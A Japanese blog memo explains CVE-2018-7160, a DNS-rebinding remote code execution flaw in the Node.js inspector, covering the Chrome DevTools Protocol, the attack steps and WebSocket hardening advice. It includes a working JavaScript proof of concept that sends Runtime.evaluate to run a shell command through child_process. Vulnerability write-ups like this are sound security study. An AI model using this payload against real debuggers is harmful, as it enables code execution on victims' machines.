機動戦士ガンダムユニコーン RE:0096を視聴したところ、感化されて Aimer を聴きながらユニコーンのガンプラを作って大変満足している。
Node.js の inspector モードで DNS Rebinding を利用した RCE (CVE-2018-7160) がどのようなものなのか手元で確認してみたのでメモ。
メモなのでかなり殴り書き。
Chrome DevTools Protocol
CVE-2018-7160を理解する前に Chrome DevTools Protocol について知っておく必要があった。
Chrome DevTools Protocol を利用することで Blink ベースのブラウザのデバッグやら何やらが可能になる。
Headless Chrome での操作はすべて Chrome DevTools Protocol で制御され、その実体は WebSocket である。
ドキュメント を見ると分かるが、本当に色々なことができる。
VS Code や Node.js でデバッグを行うときは、この Chrome DevTools Protocol が使用され、Node.js アプリを --inspect
オプションを指定して起動し、 chrome://inspect
にアクセスすることで、デバッグすることができる。
このとき、 node
のログには以下のようなメッセージが出現する。
Debugger listening on ws://127.0.0.1:9229/17d0639f-c36a-47da-9b95-9990b72bf8b7
For help, see: https://nodejs.org/en/docs/inspector
ws://127.0.0.1:9229/17d0639f-c36a-47da-9b95-9990b72bf8b7
がデバッグを行う WebSocket のエンドポイントである。
また、この情報は http://127.0.0.1:9229/json
から取得できる。
$ curl http://127.0.0.1:9229/json
[ {
"description": "node.js instance",
"devtoolsFrontendUrl": "chrome-devtools://devtools/bundled/inspector.html?experiments=true&v8only=true&ws=127.0.0.1:9229/17d0639f-c36a-47da-9b95-9990b72bf8b7",
"faviconUrl": "https://nodejs.org/static/favicon.ico",
"id": "17d0639f-c36a-47da-9b95-9990b72bf8b7",
"title": "app.js",
"type": "node",
"url": "file:///private/tmp/app.js",
"webSocketDebuggerUrl": "ws://127.0.0.1:9229/17d0639f-c36a-47da-9b95-9990b72bf8b7"
} ]
CVE-2018-7160
攻撃の手順としては以下のようになる。
- webSocketDebuggerUrl を取得する
- webSocketDebuggerUrl に WebSocket でアクセスする
- Chrome DevTools Protocol API を利用して任意のコード実行
WebSocket に SOP (Same Origin Policy) は適用されないので、どのドメインからも接続できる。
しかし、 http://127.0.0.1:9229/json
のレスポンスは別オリジンからは JavaScript でアクセスすることはできない。
なので、実質 webSocketDebuggerUrl を取得することは困難。
webSocketDebuggerUrl は uuid が含まれているので推測は困難。
そこで、DNS Rebinding を利用することで一時的に罠サイトのAレコードを 127.0.0.1 とすることで、 webSocketDebuggerUrl を取得する。
そして取得した webSocketDebuggerUrl に WebSocket で接続する。本来、こういった WebSocket のエンドポイントでは Origin
ヘッダや Host
ヘッダを確認する必要があるが、 Nodejs では行われていなかったため、本脆弱性が生じた。
webSocketDebuggerUrl にアクセスしたあとは、 Chrome Remote Debug Protocol に基づいて以下のような JSON を送信する。
{
"id": 1,
"method": "Runtime.evaluate",
"params": {
"expression": <javascritp code>
}
}
Runtime.evaluate
メソッドを使うことでパラメータ expression
に渡した JavaScript コードを eval してくれる。
つまり、以下のような JavaScript を悪意あるサイトに用意し、 DNS Rebinding された被害者が閲覧すると、任意コード実行となる。
var ws = new WebSocket('ws://127.0.0.1:9229/' + webSocketDebuggerUrl);
ws.onopen = function() {
data = 'require = process.mainModule.require; execSync = require("child_process").execSync; execSync("whoami");'
ws.send(JSON.stringify({"id":1,"method":"Runtime.evaluate","params":{"expression": data}}))
}
まとめ
DNS Rebinding が必要なので攻撃難易度は高いが、攻撃されたときの影響は大きい。
WebSocket アプリケーションは SOP が適用されない分、 セキュリティは大変。
基本的に WebSocket を使用するときは以下の点に気をつける。
wss://
を使う。暗号化することで第3者に情報が漏洩しない- サーバーアプリケーションは接続時に Origin ヘッダからホスト名を完全一致で検証する